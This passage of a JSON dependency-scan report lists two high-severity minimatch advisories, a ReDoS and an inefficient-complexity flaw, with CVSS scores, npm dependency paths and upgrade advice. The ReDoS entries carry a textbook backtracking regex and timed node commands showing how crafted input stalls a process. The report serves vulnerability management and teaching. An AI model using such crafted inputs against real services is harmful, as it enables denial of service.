Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], 